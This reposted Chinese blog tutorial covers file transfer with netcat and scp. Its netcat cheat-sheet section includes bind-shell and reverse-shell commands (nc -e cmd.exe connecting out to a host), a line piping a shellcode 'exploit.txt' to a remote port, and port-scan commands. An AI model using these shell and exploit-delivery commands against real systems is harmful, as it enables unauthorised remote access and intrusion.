Linux下nc或scp命令来实现文件传输

很实用的小技巧, 可以使用nr或者是scp

nc命令,转载自:https://www.cnblogs.com/xuybin/archive/2013/09/27/3343098.html

发送端:
cat test.txt | nc -l -p 6666
或者nc -l -p 6666 < test.txt 有些版本不要在 -p
【监听6666端口,等待连接】(设发送端IP为10.20.133.152)
接收端:
nc 10.20.133.152 6666 > test1.txt
如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端 口...]
补充说明:执行本指令可设置路由器的相关参数。
参  数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

另外,nc命令也可用于端口扫描:
nc -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号TCP端口;

nc -u -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号UDP端口。

nc是一款很不错的网络检测工具,以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port [ports] ...
   nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'
  改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz

A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

 scp命令   转载自:https://www.cnblogs.com/suntray/p/9771209.html

本地电脑是mac,服务器是linux系统,由于mac没有类似Windows系统下ssh crt ,xshell等工具,经常性使用scp命令进行文件上传下载。

命令如下,

文件上传:

scp 本地文件路径及文件名 服务器用户@服务器地址(网址、ip):服务器路径/服务器文件名(可选,不填写的话,用本地文件名自动保存)

例如

scp ~/Desktop/wys/dist.zip root@xxxxx:/root/servers/crcc/wy/

文件下载:

scp 服务器用户@服务器地址(网址、ip):服务器路径/服务器文件名 本地文件路径/文件名(可选,不填写的话,用服务器文件名自动保存) 

例如

scp root@xxxxx:/root/servers/crcc/wy/dist.zip ~/Desktop/wys/

注意,“:”必须要写,如果要写在文件夹下,最后的“/”一定要写

 特殊情况:由于安全策略,很多服务器的ssh端口(也就是scp的端口),不会使用默认的22端口,会改成其他端口号。需要在命令上加入  -P端口号。

命令如下:

文件上传:

scp -P 端口号 本地文件路径及文件名 服务器用户@服务器地址(网址、ip):服务器路径/服务器文件名(可选,不填写的话,用本地文件名自动保存)

例如

scp -P 端口号 ~/Desktop/wys/dist.zip root@xxxxx:/root/servers/crcc/wy/

文件下载:

scp -P 端口号 服务器用户@服务器地址(网址、ip):服务器路径/服务器文件名 本地文件路径/文件名(可选,不填写的话,用服务器文件名自动保存) 

例如

scp -P 端口号 root@xxxxx:/root/servers/crcc/wy/dist.zip ~/Desktop/wys/

注意,“:”必须要写,如果要写在文件夹下,最后的“/”一定要写

-P P是大写 P后面是端口号,P和端口号之间要有空格

 

猜你喜欢

转载自www.cnblogs.com/widget90/p/11719194.html